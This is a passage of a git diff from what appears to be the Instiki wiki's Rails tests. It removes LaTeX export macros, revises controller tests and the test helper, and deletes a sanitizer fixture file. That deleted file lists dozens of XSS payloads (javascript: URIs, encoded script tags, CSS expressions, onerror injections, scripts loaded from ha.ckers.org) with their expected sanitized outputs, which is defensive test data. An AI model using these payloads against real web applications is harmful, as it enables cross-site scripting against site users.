-\DeclareRobustCommand\widecheck[1]{{\mathpalette\@widecheck{#1}}}
-\def\@widecheck#1#2{%
-    \setbox\z@\hbox{\m@th$#1#2$}%
-    \setbox\tw@\hbox{\m@th$#1%
-       \widehat{%
-          \vrule\@width\z@\@height\ht\z@
-          \vrule\@height\z@\@width\wd\z@}$}%
-    \dp\tw@-\ht\z@
-    \@tempdima\ht\z@ \advance\@tempdima2\ht\tw@ \divide\@tempdima\thr@@
-    \setbox\tw@\hbox{%
-       \raise\@tempdima\hbox{\scalebox{1}[-1]{\lower\@tempdima\box
-\tw@}}}%
-    {\ooalign{\box\tw@ \cr \box\z@}}}
-\makeatother
-
-% \mathraisebox{voffset}[height][depth]{something}
-\makeatletter
-\NewDocumentCommand\mathraisebox{moom}{%
-\IfNoValueTF{#2}{\def\@temp##1##2{\raisebox{#1}{$\m@th##1##2$}}}{%
-\IfNoValueTF{#3}{\def\@temp##1##2{\raisebox{#1}[#2]{$\m@th##1##2$}}%
-}{\def\@temp##1##2{\raisebox{#1}[#2][#3]{$\m@th##1##2$}}}}%
-\mathpalette\@temp{#4}}
-\makeatletter
-
-% udots (taken from yhmath)
-\makeatletter
-\def\udots{\mathinner{\mkern2mu\raise\p@\hbox{.}
-\mkern2mu\raise4\p@\hbox{.}\mkern1mu
-\raise7\p@\vbox{\kern7\p@\hbox{.}}\mkern1mu}}
-\makeatother
-
-%% Fix array
-\newcommand{\itexarray}[1]{\begin{matrix}#1\end{matrix}}
-%% \itexnum is a noop
-\newcommand{\itexnum}[1]{#1}
-
-%% Renaming existing commands
-\newcommand{\underoverset}[3]{\underset{#1}{\overset{#2}{#3}}}
-\newcommand{\widevec}{\overrightarrow}
-\newcommand{\darr}{\downarrow}
-\newcommand{\nearr}{\nearrow}
-\newcommand{\nwarr}{\nwarrow}
-\newcommand{\searr}{\searrow}
-\newcommand{\swarr}{\swarrow}
-\newcommand{\curvearrowbotright}{\curvearrowright}
-\newcommand{\uparr}{\uparrow}
-\newcommand{\downuparrow}{\updownarrow}
-\newcommand{\duparr}{\updownarrow}
-\newcommand{\updarr}{\updownarrow}
-\newcommand{\gt}{>}
-\newcommand{\lt}{<}
-\newcommand{\map}{\mapsto}
-\newcommand{\embedsin}{\hookrightarrow}
-\newcommand{\Alpha}{A}
-\newcommand{\Beta}{B}
-\newcommand{\Zeta}{Z}
-\newcommand{\Eta}{H}
-\newcommand{\Iota}{I}
-\newcommand{\Kappa}{K}
-\newcommand{\Mu}{M}
-\newcommand{\Nu}{N}
-\newcommand{\Rho}{P}
-\newcommand{\Tau}{T}
-\newcommand{\Upsi}{\Upsilon}
-\newcommand{\omicron}{o}
-\newcommand{\lang}{\langle}
-\newcommand{\rang}{\rangle}
-\newcommand{\Union}{\bigcup}
-\newcommand{\Intersection}{\bigcap}
-\newcommand{\Oplus}{\bigoplus}
-\newcommand{\Otimes}{\bigotimes}
-\newcommand{\Wedge}{\bigwedge}
-\newcommand{\Vee}{\bigvee}
-\newcommand{\coproduct}{\coprod}
-\newcommand{\product}{\prod}
-\newcommand{\closure}{\overline}
-\newcommand{\integral}{\int}
-\newcommand{\doubleintegral}{\iint}
-\newcommand{\tripleintegral}{\iiint}
-\newcommand{\quadrupleintegral}{\iiiint}
-\newcommand{\conint}{\oint}
-\newcommand{\contourintegral}{\oint}
-\newcommand{\infinity}{\infty}
-\newcommand{\bottom}{\bot}
-\newcommand{\minusb}{\boxminus}
-\newcommand{\plusb}{\boxplus}
-\newcommand{\timesb}{\boxtimes}
-\newcommand{\intersection}{\cap}
-\newcommand{\union}{\cup}
-\newcommand{\Del}{\nabla}
-\newcommand{\odash}{\circleddash}
-\newcommand{\negspace}{\\\!}
-\newcommand{\widebar}{\overline}
-\newcommand{\textsize}{\normalsize}
-\renewcommand{\scriptsize}{\scriptstyle}
-\newcommand{\scriptscriptsize}{\scriptscriptstyle}
-\newcommand{\mathfr}{\mathfrak}
-\newcommand{\statusline}[2]{#2}
-\newcommand{\tooltip}[2]{#2}
-\newcommand{\toggle}[2]{#2}
-
-% Theorem Environments
-\theoremstyle{plain}
-\newtheorem{theorem}{Theorem}
-\newtheorem{lemma}{Lemma}
-\newtheorem{prop}{Proposition}
-\newtheorem{cor}{Corollary}
-\newtheorem*{utheorem}{Theorem}
-\newtheorem*{ulemma}{Lemma}
-\newtheorem*{uprop}{Proposition}
-\newtheorem*{ucor}{Corollary}
-\theoremstyle{definition}
-\newtheorem{defn}{Definition}
-\newtheorem{example}{Example}
-\newtheorem*{udefn}{Definition}
-\newtheorem*{uexample}{Example}
-\theoremstyle{remark}
-\newtheorem{remark}{Remark}
-\newtheorem{note}{Note}
-\newtheorem*{uremark}{Remark}
-\newtheorem*{unote}{Note}
-
-%-------------------------------------------------------------------
-
-\begin{document}
-
-%-------------------------------------------------------------------
-
-!
-  end
-  
   def test_tex
     r = process('tex', 'web' => 'wiki1', 'id' => 'HomePage')
-    assert_response(:success)
+    assert_success
     
-    assert_equal @tex_header1 + @tex_header2 + %q!\section*{HomePage}
-
-HisWay would be MyWay $\sin(x) \includegraphics[width=3em]{foo}$ in kinda ThatWay in HisWay though MyWay $\backslash$OverThere --{} see SmartEngine in that SmartEngineGUI
-
-
-
-\end{document}
-!, r.body
+    assert_equal "\\documentclass[12pt,titlepage]{article}\n\n\\usepackage[danish]{babel}      " +
+        "%danske tekster\n\\usepackage[OT1]{fontenc}       %rigtige danske bogstaver...\n" +
+        "\\usepackage{a4}\n\\usepackage{graphicx}\n\\usepackage{ucs}\n\\usepackage[utf8x]" +
+        "{inputenc}\n\\input epsf \n\n%----------------------------------------------------" +
+        "---------------\n\n\\begin{document}\n\n\\sloppy\n\n%-----------------------------" +
+        "--------------------------------------\n\n\\section*{HomePage}\n\nFirst revision of " +
+        "the HomePage end\n\n\\end{document}", r.body
   end
 
-  def test_tex_character_conversions
-    @wiki.write_page('wiki1', 'Page2',
-        "Page2 contents { & ^ <.\n",
-        Time.now, Author.new('AnotherAuthor', '127.0.0.2'), x_test_renderer)
-    r = process('tex', 'web' => 'wiki1', 'id' => 'Page2')
-    assert_response(:success)
-    
-    assert_equal @tex_header1 + @tex_header2 + %q!\section*{Page2}
-
-Page2 contents \{ \& {\tt \symbol{94}} {\tt \symbol{60}}.
-
-
-
-\end{document}
-!, r.body
-  end
-
-  def test_tex_with_blackboard_digits
-    @wiki.write_page('wiki1', 'Page2',
-        "Page2 contents $\\mathbb{01234}$.\n",
-        Time.now, Author.new('AnotherAuthor', '127.0.0.2'), x_test_renderer)
-    r = process('tex', 'web' => 'wiki1', 'id' => 'Page2')
-    assert_response(:success)
-    
-    assert_equal @tex_header1 + "\\usepackage{mathbbol}\n" + @tex_header2 + %q!\section*{Page2}
-
-Page2 contents $\mathbb{01234}$.
-
-
-
-\end{document}
-!, r.body
-  end
-
-  def test_tex_list
-    @wiki.write_page('wiki1', "Ch\303\242timent & Page",
-        "Page2 contents $\\mathbb{01234}$.\n",
-        Time.now, Author.new('AnotherAuthor', '127.0.0.2'), x_test_renderer)
-    @request.env['RAW_POST_DATA'] = "_form_key=353106ff8c8466727ee5338baaa0640c87c9b0d6&Ch%C3%A2timent+%26+Page=tex&BogusPage=tex&HomePage=tex&commit=Export"
-    r = process('tex_list', 'web' => 'wiki1', 'Page2' => 'tex', 'BogusPage'=> 'tex', 'HomePage' => 'tex')
-    assert_response(:success)
-    assert_equal @tex_header1 + "\\usepackage{mathbbol}\n" + @tex_header2 + %q!\section*{Châtiment \\& Page}
-
-Page2 contents $\mathbb{01234}$.
-
-\section*{HomePage}
-
-HisWay would be MyWay $\sin(x) \includegraphics[width=3em]{foo}$ in kinda ThatWay in HisWay though MyWay $\backslash$OverThere --{} see SmartEngine in that SmartEngineGUI
-
-
-
-
-\end{document}
-!, r.body  
-  end
 
   def test_web_list
     another_wiki = @wiki.create_web('Another Wiki', 'another_wiki')
     
     r = process('web_list')
     
-    assert_response(:success)
-    assert_equal [another_wiki, webs(:instiki), @web], r.template_objects['webs']
+    assert_success
+    assert_equal [another_wiki, @web], r.template_objects['webs']
   end
   
 end
diff --git a/test/mocks/development/.gitignore b/test/mocks/development/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/test/mocks/test/.gitignore b/test/mocks/test/.gitignore
deleted file mode 100644
index e69de29b..00000000
diff --git a/test/sanitizer.dat b/test/sanitizer.dat
deleted file mode 100644
index f7cdf51e..00000000
--- a/test/sanitizer.dat
+++ /dev/null
@@ -1,518 +0,0 @@
-[
-  {
-    "name": "IE_Comments",
-    "input": "<!--[if gte IE 4]><script>alert('XSS');</script><![endif]-->a",
-    "output": "a",
-    "xhtml": "&lt;!--[if gte IE 4]&gt;&lt;script&gt;alert(&#39;XSS&#39;);&lt;/script&gt;&lt;![endif]--&gt;a"
-  },
-
-  {
-    "name": "IE_Comments_2",
-    "input": "<![if !IE 5]><script>alert('XSS');</script><![endif]>",
-    "output": "&lt;script&gt;alert('XSS');&lt;/script&gt;",
-    "xhtml": "&lt;![if !IE 5]&gt;&lt;script&gt;alert(&#39;XSS&#39;);&lt;/script&gt;&lt;![endif]&gt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "allow_colons_in_path_component",
-    "input": "<a href=\"./this:that\">foo</a>",
-    "output": "<a href='./this:that'>foo</a>"
-  },
-
-  {
-    "name": "background_attribute",
-    "input": "<div background=\"javascript:alert('XSS')\"></div>",
-    "output": "<div/>",
-    "xhtml": "<div></div>",
-    "rexml": "<div></div>"
-  },
-
-  {
-    "name": "bgsound",
-    "input": "<bgsound src=\"javascript:alert('XSS');\" />",
-    "output": "&lt;bgsound src=\"javascript:alert('XSS');\"/&gt;",
-    "xhtml": "&lt;bgsound src='javascript:alert('XSS');'/&gt;",
-    "rexml": "&lt;bgsound src=\"javascript:alert('XSS');\"&gt;&lt;/bgsound&gt;"
-  },
-
-  {
-    "name": "div_background_image_unicode_encoded",
-    "input": "<div style=\"background-image:\u00a5\u00a2\u006C\u0028'\u006a\u0061\u00a6\u0061\u00a3\u0063\u00a2\u0069\u00a0\u00a4\u003a\u0061\u006c\u0065\u00a2\u00a4\u0028.1027\u0058.1053\u0053\u0027\u0029'\u0029\">foo</div>",
-    "output": "<div style=''>foo</div>"
-  },
-
-  {
-    "name": "div_expression",
-    "input": "<div style=\"width: expression(alert('XSS'));\">foo</div>",
-    "output": "<div style=''>foo</div>"
-  },
-
-  {
-    "name": "double_open_angle_brackets",
-    "input": "<img src=http://ha.ckers.org/scriptlet.html <",
-    "output": "<img src='http://ha.ckers.org/scriptlet.html'/>",
-    "xhtml": "<img src='http:'/>&lt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "double_open_angle_brackets_2",
-    "input": "<script src=http://ha.ckers.org/scriptlet.html <",
-    "output": "&lt;script src=\"http://ha.ckers.org/scriptlet.html\" &lt;=\"\"&gt;",
-    "xhtml": "&lt;script src='http:'/&gt;&lt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "grave_accents",
-    "input": "<img src=`javascript:alert('XSS')` />",
-    "output": "<img/>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "img_dynsrc_lowsrc",
-    "input": "<img dynsrc=\"javascript:alert('XSS')\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "img_vbscript",
-    "input": "<img src='vbscript:msgbox(\"XSS\")' />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "input_image",
-    "input": "<input type=\"image\" src=\"javascript:alert('XSS');\" />",
-    "output": "<input type='image'/>",
-    "rexml": "<input type='image' />"
-  },
-
-  {
-    "name": "link_stylesheets",
-    "input": "<link rel=\"stylesheet\" href=\"javascript:alert('XSS');\" />",
-    "output": "&lt;link rel=\"stylesheet\" href=\"javascript:alert('XSS');\"/&gt;",
-    "xhtml": "&lt;link href='javascript:alert('XSS');' rel='stylesheet'/&gt;",
-    "rexml": "&lt;link href=\"javascript:alert('XSS');\" rel=\"stylesheet\"/&gt;"
-  },
-
-  {
-    "name": "link_stylesheets_2",
-    "input": "<link rel=\"stylesheet\" href=\"http://ha.ckers.org/xss.css\" />",
-    "output": "&lt;link rel=\"stylesheet\" href=\"http://ha.ckers.org/xss.css\"/&gt;",
-    "xhtml": "&lt;link href='http://ha.ckers.org/xss.css' rel='stylesheet'/&gt;",
-    "rexml": "&lt;link href=\"http://ha.ckers.org/xss.css\" rel=\"stylesheet\"/&gt;"
-  },
-
-  {
-    "name": "list_style_image",
-    "input": "<li style=\"list-style-image: url(javascript:alert('XSS'))\">foo</li>",
-    "output": "<li style=''>foo</li>"
-  },
-
-  {
-    "name": "no_closing_script_tags",
-    "input": "<script src=http://ha.ckers.org/xss.js?<b>",
-    "output": "&lt;script src=\"http://ha.ckers.org/xss.js?&amp;lt;b\"&gt;",
-    "xhtml": "&lt;script src='http:'/&gt;<b>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "non_alpha_non_digit",
-    "input": "<script/XSS src=\"http://ha.ckers.org/xss.js\"></script>",
-    "output": "&lt;script XSS=\"\" src=\"http://ha.ckers.org/xss.js\"&gt;&lt;/script&gt;",
-    "xhtml": "&lt;script/&gt;&lt;/script&gt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "non_alpha_non_digit_2",
-    "input": "<a onclick!\\#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>foo</a>",
-    "output": "<a>foo</a>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "non_alpha_non_digit_3",
-    "input": "<img/src=\"http://ha.ckers.org/xss.js\"/>",
-    "output": "<img src='http://ha.ckers.org/xss.js'/>",
-    "xhtml": "<img/>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "non_alpha_non_digit_II",
-    "input": "<a href!\\#$%&()*~+-_.,:;?@[/|]^`=alert('XSS')>foo</a>",
-    "output": "<a>foo</a>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "non_alpha_non_digit_III",
-    "input": "<a/href=\"javascript:alert('XSS');\">foo</a>",
-    "output": "<a>foo</a>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "platypus",
-    "input": "<a href=\"http://www.ragingplatypus.com/\" style=\"display:block; position:absolute; left:0; top:0; width:100%; height:100%; z-index:1; background-color:black; background-image:url(http://www.ragingplatypus.com/i/cam-full.jpg); background-x:center; background-y:center; background-repeat:repeat;\">never trust your upstream platypus</a>",
-    "output": "<a href='http://www.ragingplatypus.com/' style='display: block; width: 100%; height: 100%; background-color: black; background-x: center; background-y: center;'>never trust your upstream platypus</a>"
-  },
-
-  {
-    "name": "protocol_resolution_in_script_tag",
-    "input": "<script src=//ha.ckers.org/.j></script>",
-    "output": "&lt;script src=\"//ha.ckers.org/.j\"&gt;&lt;/script&gt;",
-    "xhtml": "&lt;script src/&gt;&lt;/script&gt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_allow_anchors",
-    "input": "<a href='foo' onclick='bar'><script>baz</script></a>",
-    "output": "<a href='foo'>&lt;script&gt;baz&lt;/script&gt;</a>",
-    "xhtml": "<a href='foo'>&lt;script&gt;baz&lt;/script&gt;</a>"
-  },
-
-  {
-    "name": "should_allow_image_alt_attribute",
-    "input": "<img alt='foo' onclick='bar' />",
-    "output": "<img alt='foo'/>",
-    "rexml": "<img alt='foo' />"
-  },
-
-  {
-    "name": "should_allow_image_height_attribute",
-    "input": "<img height='foo' onclick='bar' />",
-    "output": "<img height='foo'/>",
-    "rexml": "<img height='foo' />"
-  },
-
-  {
-    "name": "should_allow_image_src_attribute",
-    "input": "<img src='foo' onclick='bar' />",
-    "output": "<img src='foo'/>",
-    "rexml": "<img src='foo' />"
-  },
-
-  {
-    "name": "should_allow_image_width_attribute",
-    "input": "<img width='foo' onclick='bar' />",
-    "output": "<img width='foo'/>",
-    "rexml": "<img width='foo' />"
-  },
-
-  {
-    "name": "should_handle_blank_text",
-    "input": "",
-    "output": "<div xmlns='http://www.w3.org/1999/xhtml'/>",
-    "xhtml": ""
-  },
-
-  {
-    "name": "should_handle_malformed_image_tags",
-    "input": "<img \"\"\"><script>alert(\"XSS\")</script>\">",
-    "output": "<img/>&lt;script&gt;alert(\"XSS\")&lt;/script&gt;\"&gt;",
-    "xhtml": "<img/>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_handle_non_html",
-    "input": "abc",
-    "output": "abc"
-  },
-
-  {
-    "name": "should_not_fall_for_ridiculous_hack",
-    "input": "<img\nsrc\n=\n\"\nj\na\nv\na\ns\nc\nr\ni\np\nt\n:\na\nl\ne\nr\nt\n(\n'\nX\nS\nS\n'\n)\n\"\n />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_0",
-    "input": "<img src=\"javascript:alert('XSS');\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_1",
-    "input": "<img src=javascript:alert('XSS') />",
-    "output": "<img/>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_10",
-    "input": "<img src=\"jav&#x0A;ascript:alert('XSS');\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_11",
-    "input": "<img src=\"jav&#x0D;ascript:alert('XSS');\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_12",
-    "input": "<img src=\" &#14;  javascript:alert('XSS');\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_13",
-    "input": "<img src=\"&#x20;javascript:alert('XSS');\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_14",
-    "input": "<img src=\"&#xA0;javascript:alert('XSS');\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_2",
-    "input": "<img src=\"JaVaScRiPt:alert('XSS')\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_3",
-    "input": "<img src='javascript:alert(&quot;XSS&quot;)' />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_4",
-    "input": "<img src='javascript:alert(String.fromCharCode(88,83,83))' />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_5",
-    "input": "<img src='&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;' />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_6",
-    "input": "<img src='&#0000106;&#0000097;&#0000118;&#0000097;&#0000115;&#0000099;&#0000114;&#0000105;&#0000112;&#0000116;&#0000058;&#0000097;&#0000108;&#0000101;&#0000114;&#0000116;&#0000040;&#0000039;&#0000088;&#0000083;&#0000083;&#0000039;&#0000041' />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_7",
-    "input": "<img src='&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29' />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_8",
-    "input": "<img src=\"jav\tascript:alert('XSS');\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_not_fall_for_xss_image_hack_9",
-    "input": "<img src=\"jav&#x09;ascript:alert('XSS');\" />",
-    "output": "<img/>",
-    "rexml": "<img />"
-  },
-
-  {
-    "name": "should_sanitize_half_open_scripts",
-    "input": "<img src=\"javascript:alert('XSS')\"",
-    "output": "<img/>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_sanitize_invalid_script_tag",
-    "input": "<script/XSS SRC=\"http://ha.ckers.org/xss.js\"></script>",
-    "output": "&lt;script XSS=\"\" SRC=\"http://ha.ckers.org/xss.js\"&gt;&lt;/script&gt;",
-    "xhtml": "&lt;script/&gt;&lt;/script&gt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_sanitize_script_tag_with_multiple_open_brackets",
-    "input": "<<script>alert(\"XSS\");//<</script>",
-    "output": "&lt;&lt;script&gt;alert(\"XSS\");//&lt;&lt;/script&gt;",
-    "xhtml": "&lt;&lt;script&gt;alert(&quot;XSS&quot;);//&lt;&lt;/script&gt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_sanitize_script_tag_with_multiple_open_brackets_2",
-    "input": "<iframe src=http://ha.ckers.org/scriptlet.html\n<",
-    "output": "&lt;iframe src=\"http://ha.ckers.org/scriptlet.html\" &lt;=\"\"&gt;",
-    "xhtml": "&lt;iframe src='http:'/&gt;&lt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_sanitize_tag_broken_up_by_null",
-    "input": "<scr\u0000ipt>alert(\"XSS\")</scr\u0000ipt>",
-    "output": "&lt;scr\ufffdipt&gt;alert(\"XSS\")&lt;/scr\ufffdipt&gt;",
-    "xhtml": "&lt;scr&gt;alert(&quot;XSS&quot;)&lt;/scr&gt;",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_sanitize_unclosed_script",
-    "input": "<script src=http://ha.ckers.org/xss.js?<b>",
-    "output": "&lt;script src=\"http://ha.ckers.org/xss.js?&amp;lt;b\"&gt;",
-    "xhtml": "&lt;script src='http:'/&gt;<b>",
-    "rexml": "Ill-formed XHTML!"
-  },
-
-  {
-    "name": "should_strip_href_attribute_in_a_with_bad_protocols",
-    "input": "<a href=\"javascript:XSS\" title=\"1\">boo</a>",
-    "output": "<a title='1'>boo</a>"
-  },
-
-  {
-    "name": "should_strip_href_attribute_in_a_with_bad_protocols_and_whitespace",
-    "input": "<a href=\" javascript:XSS\" title=\"1\">boo</a>",
-    "output": "<a title='1'>boo</a>"
-  },
-
-  {
-    "name": "should_strip_src_attribute_in_img_with_bad_protocols",
-    "input": "<img src=\"javascript:XSS\" title=\"1\">boo</img>",
-    "output": "<img title='1'/>boo",
-    "rexml": "<img title='1' />"
-  },
-
-  {
-    "name": "should_strip_src_attribute_in_img_with_bad_protocols_and_whitespace",
-    "input": "<img src=\" javascript:XSS\" title=\"1\">boo</img>",
-    "output": "<img title='1'/>boo",
-    "rexml": "<img title='1' />"
-  },
-
-  {
-    "name": "xml_base",
-    "input": "<div xml:base=\"javascript:alert('XSS');//\">foo</div>",
-    "output": "<div>foo</div>"
-  },
-
-  {
-    "name": "xul",
-    "input": "<p style=\"-moz-binding:url('http://ha.ckers.org/xssmoz.xml#xss')\">fubar</p>",
-    "output": "<p style=''>fubar</p>"
-  },
-
-  {
-    "name": "quotes_in_attributes",
-    "input": "<img src='foo' title='\"foo\" bar' />",
-    "rexml": "<img src='foo' title='\"foo\" bar' />",
-    "output": "<img src='foo' title='&quot;foo&quot; bar'/>"
-  },
-
-  {
-    "name": "uri_refs_in_svg_attributes",
-    "input": "<rect fill='url(#foo)' />",
-    "rexml": "<rect fill='url(#foo)'></rect>",
-    "xhtml": "<rect fill='url(#foo)'/>",
-    "output": "<rect fill='url(#foo)'/>"
-  },
-
-  {
-    "name": "absolute_uri_refs_in_svg_attributes",
-    "input": "<rect fill='url(http://bad.com/) #fff' />",
-    "rexml": "<rect fill='  #fff'></rect>",
-    "xhtml": "<rect fill='  #fff'/>",
-    "output": "<rect fill='  #fff'/>"
-  },
-
-  {
-    "name": "uri_ref_with_space_in svg_attribute",
-    "input": "<rect fill='url(\n#foo)' />",
-    "rexml": "<rect fill='url(\n#foo)'></rect>",
-    "xhtml": "<rect fill='url(\n#foo)'/>",
-    "output": "<rect fill='url(\n#foo)'/>"
-  },
-
-  {
-    "name": "absolute_uri_ref_with_space_in svg_attribute",
-    "input": "<rect fill=\"url(\nhttp://bad.com/)\" />",
-    "rexml": "<rect fill=' '></rect>",
-    "xhtml": "<rect fill=' '/>",
-    "output": "<rect fill=' '/>"
-  },
-
-  {
-    "name": "allow_html5_image_tag",
-    "input": "<image src='foo' />",
-    "rexml": "&lt;image src=\"foo\"&gt;&lt;/image&gt;",
-    "xhtml": "&lt;image src='foo'/&gt;",
-    "output": "&lt;image src=\"foo\"/&gt;"
-  },
-
-  {
-    "name": "style_attr_end_with_nothing",
-    "input": "<div style=\"color: blue\" />",
-    "output": "<div style='color: blue;'/>",
-    "rexml": "<div style='color: blue;'></div>"
-  },
-
-  {
-    "name": "style_attr_end_with_space",
-    "input": "<div style=\"color: blue \" />",
-    "output": "<div style='color: blue ;'/>",
-    "rexml": "<div style='color: blue ;'></div>"
-  },
-
-  {
-    "name": "style_attr_end_with_semicolon",
-    "input": "<div style=\"color: blue;\" />",
-    "output": "<div style='color: blue;'/>",
-    "rexml": "<div style='color: blue;'></div>"
-  },
-
-  {
-    "name": "style_attr_end_with_semicolon_space",
-    "input": "<div style=\"color: blue; \" />",
-    "output": "<div style='color: blue;'/>",
-    "rexml": "<div style='color: blue;'></div>"
-  },
-  
-  {
-   "name": "attributes_with_embedded_quotes",
-   "input": "<img src=doesntexist.jpg\"'onerror=\"alert(1) />",
-   "output": "<img src='doesntexist.jpg&quot;&apos;onerror=&quot;alert(1)'/>",
-   "xhtml": "<img src='doesntexist.jpg&quot;&#39;onerror=&quot;alert(1)'/>",
-   "rexml": "Ill-formed XHTML!"
-  },
-  
-  {
-   "name": "attributes_with_embedded_quotes_II",
-   "input": "<img src=notthere.jpg\"\"onerror=\"alert(2) />",
-   "output": "<img src='notthere.jpg&quot;&quot;onerror=&quot;alert(2)'/>",
-   "rexml": "Ill-formed XHTML!"
-  }
-]
diff --git a/test/test_helper.rb b/test/test_helper.rb
index 6a8d18c8..ae799f18 100644
--- a/test/test_helper.rb
+++ b/test/test_helper.rb
@@ -1,89 +1,85 @@
 ENV['RAILS_ENV'] = 'test'
+require File.expand_path(File.dirname(__FILE__) + '/../config/environment')
+require 'application'
+require 'test/unit'
+require 'breakpoint'
+require 'action_controller/test_process'
 
-# Expand the path to environment so that Ruby does not load it multiple times
-# File.expand_path can be removed if Ruby 1.9 is in use.
-require File.expand_path(File.join(File.dirname(__FILE__), '..', 'config', 'environment'))
-
-require 'test_help'
-require 'wiki_content'
-require 'url_generator'
-require 'digest/sha1'
-
-# simulates cookie session store
-class FakeSessionDbMan
-  def self.generate_digest(data)
-    Digest::SHA1.hexdigest("secure")
-  end
-end
-
-class  ActiveSupport::TestCase
-  self.pre_loaded_fixtures = false
-  self.use_transactional_fixtures = true
-  self.use_instantiated_fixtures = false
-  self.fixture_path = Rails.root.join('test', 'fixtures', '')
-end
-
-# activate PageObserver
-PageObserver.instance
+# Uncomment this variable to have assert_success check that response bodies are valid XML
+$validate_xml_in_assert_success = true
 
+# Convenient setup method for Test::Unit::TestCase
 class Test::Unit::TestCase
-  def create_fixtures(*table_names)
-    Fixtures.create_fixtures(Rails.root.join('test', 'fixtures'), table_names)
+
+  private
+
+  def setup_controller_test(controller_class = nil, host = nil)
+    if controller_class
+      @controller = controller_class.new
+    elsif self.class.to_s =~ /^(\w+Controller)Test$/
+      @controller = Object::const_get($1).new
+    else
+      raise "Cannot derive the name of controller under test from class name #{self.class}"
+    end
+    @request, @response = ActionController::TestRequest.new, ActionController::TestResponse.new
+    @request.host = host || 'localhost'
+    return @request, @response
   end
 
-  # Add more helper methods to be used by all tests here...
-  def set_web_property(property, value)
-    @web.update_attribute(property, value)
-    @page = Page.find(@page.id)
-    @wiki.webs[@web.name] = @web
+  # Wiki fixture for tests
+
+  def setup_test_wiki
+    @wiki = ApplicationController.wiki = WikiServiceWithNoPersistence.new
+    @web = @wiki.create_web('Test Wiki 1', 'wiki1')
+    @home = @wiki.write_page('wiki1', 'HomePage', 'First revision of the HomePage end', Time.now, 
+        Author.new('AnAuthor', '127.0.0.1'))
+  end
+  
+  def setup_wiki_with_three_pages
+    @oak = @wiki.write_page('wiki1', 'Oak',
+        "All about oak.\n" +
+        "category: trees", 
+        5.minutes.ago, Author.new('TreeHugger', '127.0.0.2'))
+    @elephant = @wiki.write_page('wiki1', 'Elephant',
+        "All about elephants.\n" +
+        "category: animals", 
+        10.minutes.ago, Author.new('Guest', '127.0.0.2'))
   end
   
   def setup_wiki_with_30_pages
-    ActiveRecord::Base.silence do
-      (1..30).each do |i|
-        @wiki.write_page('wiki1', "page#{i}", "Test page #{i}\ncategory: test", 
-                         Time.local(1976, 10, i, 12, 00, 00), Author.new('Dema', '127.0.0.2'),
-                         x_test_renderer)
-      end
-    end
-    @web = Web.find(@web.id)
+    (1..30).each { |i|
+      @wiki.write_page('wiki1', "page#{i}", "Test page #{i}\ncategory: test", 
+                                Time.local(1976, 10, i, 12, 00, 00), Author.new('Dema', '127.0.0.2'))
+    }
+  end
+  
+  def tear_down_wiki
+    ApplicationController.wiki = nil
   end
 
-  def x_test_renderer(revision = nil)
-    PageRenderer.setup_url_generator(StubUrlGenerator.new)
-    PageRenderer.new(revision)
-  end
+end
 
